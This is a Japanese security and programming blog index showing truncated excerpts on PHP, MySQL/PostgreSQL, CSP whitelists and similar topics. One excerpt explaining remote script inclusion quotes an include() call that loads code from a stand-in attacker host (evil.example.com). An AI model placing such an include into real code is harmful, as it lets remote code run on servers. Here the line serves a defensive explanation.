Programming
.Net用OCaml – F#の入門書 – Expert F#
OCamlはプログラミングコンテストで優勝するチームや開発者御用達の言語であることは以前から知っていましたが、個人的に利用しようと思ったありませんでした。しかし、最近関数型言語の人気が非常に高まってきています。関数型言語の簡潔なコードや副作用の少ないコードの生産性が認められてきたからだと思います。 OCamlを勉強しようかと思いましたが、Amazonでちょう…
JPUG北海道 RUBY札幌 合同セミナーの資料
2月16日に札幌で行われたJPUG北海道 RUBY札幌 合同セミナーの資料です。 http://blog.ohgaki.net/media/users/yohgaki/PostgreSQL-Performance.pdf セミナーの際には風邪の為、声がでず、非常に聞き辛かったと思います。聞きにお越しいただいた方には申し訳ないです。 fsync=falseなの…
ホワイトリストはどう作る?
まずホワイトリストの基本中の基本は”デフォルトで全て拒否する”であることに注意してください。全て拒否した上で許可するモノを指定しないとホワイトリストになりません。 例えば、CSPはホワイトリストで不正なJavaScriptの実行を防止する仕組みです。2016年のGoolgeの調査によると95%のCSP定義が、実際にはJavaScriptインジェクション脆弱性…
正しいメールアドレスのチェック方法
正しいメールアドレスのチェック方法がちょっとした話題になっているようです。Web屋のネタ帳でも取り上げられていますが、メールアドレスのチェック方法自体は解説していません。ついでなので書いておきます。 「本当に正しいメールアドレスかチェック」するには実際にメールを送信して、送信されたユーザしか知り得ない情報をユーザが知っている事により確認しなければなりません。…
簡単なベンチマーク
最近のPostgreSQL, MySQL, SQLiteのパフォーマンスはどうかな?と言うことで非常に簡単なベンチマークをしてみました。 デフォルト状態のデータベースに郵便番号データ(12万件とちょっと)をINSERTしてみました。フラグを除く全てのフィールドをテキスト型として定義し、全てのフィールドを挿入しました。旧番号と現行番号にインデックスを付けていま…
Python 3000は良いですね。
備考:古いブログですが公開し忘れしてい分です。 PHP5/PHP6の開発もPython 3000 (Python 3.0)のようになれば素晴らしいのですが、難しいでしょうね... 後方互換性は非常に重要です。今まで動いていたプログラムがバージョンアップしたら動かなくなる、と言う事態は開発者であれば誰でも避けたいものです。しかし、後方互換性を重視するあまりツジ…
SET NAMESは禁止
MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。 Ruby on Rai…
スクリプトインクルード問題の根本的解決策
スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。 デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり include('http://evil.example.com/attack.php'); の様なコードは実行できな…
MOPBの攻撃コードサンプルが削除される
ドイツで他人のコンピュータを攻撃するソフトウェアの公開などを禁止する法律が施行されたためMOPBの攻撃コードが削除されました。 (さらに…)
Example 1428. A “Best Practice” query
PHPのマニュアルページで「Example 1428. A "Best Practice" query」と題されたSQL文用の文字列エスケープ処理のサンプルコードがあるのですが、 $query = sprintf("INSERT INTO products (`name`, `description`, `user_id`) VALUES ('%s', '%…